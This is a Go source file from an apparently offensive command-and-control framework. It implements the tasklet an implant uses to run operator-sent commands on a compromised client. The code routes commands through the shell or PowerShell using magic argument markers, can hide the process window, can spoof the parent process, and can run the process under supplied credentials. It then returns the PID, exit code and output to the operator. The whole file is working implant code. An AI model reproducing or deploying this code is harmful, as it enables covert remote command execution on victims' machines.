github.com/iDigitalFlame/xmt@v0.5.4/c2/task/process.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package task
    18  
    19  import (
    20  	"bytes"
    21  	"context"
    22  	"strings"
    23  	"time"
    24  
    25  	"github.com/iDigitalFlame/xmt/cmd"
    26  	"github.com/iDigitalFlame/xmt/cmd/filter"
    27  	"github.com/iDigitalFlame/xmt/data"
    28  	"github.com/iDigitalFlame/xmt/device"
    29  )
    30  
    31  // Process is a Tasklet that is similar to the 'cmd.Process' struct. This is
    32  // used to Task a Client with running a specified command.
    33  //
    34  // This can be directly used in the Session 'Tasklet' function instead of
    35  // directly creating a Task.
    36  //
    37  // The Filter attribute will attempt to set the target that runs the Process.
    38  // If none are specified, the Process will be ran under the client process.
    39  //
    40  // C2 Details:
    41  //
    42  //	ID: TvExecute
    43  //
    44  //	Input:
    45  //	    Process struct {
    46  //	        []string        // Args
    47  //	        string          // Dir
    48  //	        []string        // Environment
    49  //	        uint32          // Flags
    50  //	        bool            // Wait
    51  //	        int64           // Timeout
    52  //	        bool            // Hide
    53  //	        string          // Username
    54  //	        string          // Domain
    55  //	        string          // Password
    56  //	        Filter struct { // Filter
    57  //	            bool        // Filter Status
    58  //	            uint32      // PID
    59  //	            bool        // Fallback
    60  //	            uint8       // Session
    61  //	            uint8       // Elevated
    62  //	            []string    // Exclude
    63  //	            []string    // Include
    64  //	        }
    65  //	        []byte          // Stdin Data
    66  //	    }
    67  //	Output:
    68  //	    uint32              // PID
    69  //	    int32               // Exit Code
    70  //	    []byte              // Output (Stdout and Stderr)
    71  type Process struct {
    72  	Filter             *filter.Filter
    73  	Dir                string
    74  	User, Domain, Pass string
    75  
    76  	Env, Args []string
    77  	Stdin     []byte
    78  	Timeout   time.Duration
    79  
    80  	Flags      uint32
    81  	Wait, Hide bool
    82  }
    83  
    84  // UnmarshalStream reads the data for this Process from the supplied Reader.
    85  func (p *Process) UnmarshalStream(r data.Reader) error {
    86  	if err := data.ReadStringList(r, &p.Args); err != nil {
    87  		return err
    88  	}
    89  	if err := r.ReadString(&p.Dir); err != nil {
    90  		return err
    91  	}
    92  	if err := data.ReadStringList(r, &p.Env); err != nil {
    93  		return err
    94  	}
    95  	if err := r.ReadBool(&p.Wait); err != nil {
    96  		return err
    97  	}
    98  	if err := r.ReadUint32(&p.Flags); err != nil {
    99  		return err
   100  	}
   101  	if err := r.ReadInt64((*int64)(&p.Timeout)); err != nil {
   102  		return err
   103  	}
   104  	if err := r.ReadBool(&p.Hide); err != nil {
   105  		return err
   106  	}
   107  	if err := r.ReadString(&p.User); err != nil {
   108  		return err
   109  	}
   110  	if err := r.ReadString(&p.Domain); err != nil {
   111  		return err
   112  	}
   113  	if err := r.ReadString(&p.Pass); err != nil {
   114  		return err
   115  	}
   116  	if err := filter.UnmarshalStream(r, &p.Filter); err != nil {
   117  		return err
   118  	}
   119  	return r.ReadBytes(&p.Stdin)
   120  }
   121  func taskProcess(x context.Context, r data.Reader, w data.Writer) error {
   122  	p, z, err := ProcessUnmarshal(x, r)
   123  	if err != nil {
   124  		return err
   125  	}
   126  	if z {
   127  		w.WriteUint64(0)
   128  		p.Stdout, p.Stderr = w, w
   129  	}
   130  	if err = p.Start(); err != nil {
   131  		p.Stdout, p.Stderr = nil, nil
   132  		return err
   133  	}
   134  	if p.Stdin = nil; !z {
   135  		// NOTE(dij): Push PID 32bits higher, since exit code is zero anyway.
   136  		w.WriteUint64(uint64(p.Pid()) << 32)
   137  		p.Release()
   138  		return nil
   139  	}
   140  	i := p.Pid()
   141  	err, p.Stdout, p.Stderr = p.Wait(), nil, nil
   142  	if _, ok := err.(*cmd.ExitError); err != nil && !ok {
   143  		return err
   144  	}
   145  	var (
   146  		c, _ = p.ExitCode()
   147  		s, _ = w.(backer)
   148  	)
   149  	if s == nil {
   150  		return nil
   151  	}
   152  	s.WriteUint32Pos(0, i)
   153  	s.WriteUint32Pos(4, uint32(c))
   154  	return nil
   155  }
   156  
   157  // ProcessUnmarshal will read this Process's struct data from the supplied
   158  // reader and returns a Process runnable struct along with the wait boolean.
   159  //
   160  // This function returns an error if building or reading fails.
   161  func ProcessUnmarshal(x context.Context, r data.Reader) (*cmd.Process, bool, error) {
   162  	var p Process
   163  	if err := p.UnmarshalStream(r); err != nil {
   164  		return nil, false, err
   165  	}
   166  	if len(p.Args) == 0 {
   167  		return nil, false, cmd.ErrEmptyCommand
   168  	}
   169  	v := cmd.NewProcessContext(x, p.Args...)
   170  	if len(p.Args[0]) == 7 && p.Args[0][0] == '@' && p.Args[0][6] == '@' && p.Args[0][1] == 'S' && p.Args[0][5] == 'L' {
   171  		if len(p.Args) == 1 {
   172  			v.Args = []string{device.Shell}
   173  		} else {
   174  			v.Args = []string{device.Shell, device.ShellArgs, strings.Join(p.Args[1:], " ")}
   175  		}
   176  	} else if len(p.Args[0]) == 7 && p.Args[0][0] == '@' && p.Args[0][6] == '@' && p.Args[0][1] == 'P' && p.Args[0][5] == 'L' {
   177  		if len(p.Args) == 1 {
   178  			v.Args = []string{device.PowerShell}
   179  		} else {
   180  			v.Args = append([]string{device.PowerShell, "-c"}, p.Args[1:]...)
   181  		}
   182  	}
   183  	if v.SetFlags(p.Flags); p.Hide {
   184  		v.SetNoWindow(true)
   185  		v.SetWindowDisplay(0)
   186  	}
   187  	if v.SetParent(p.Filter); len(p.Stdin) > 0 {
   188  		v.Stdin = bytes.NewReader(p.Stdin)
   189  	}
   190  	if v.Timeout, v.Dir, v.Env = p.Timeout, p.Dir, p.Env; len(p.User) > 0 {
   191  		v.SetLogin(p.User, p.Domain, p.Pass)
   192  	}
   193  	return v, p.Wait, nil
   194  }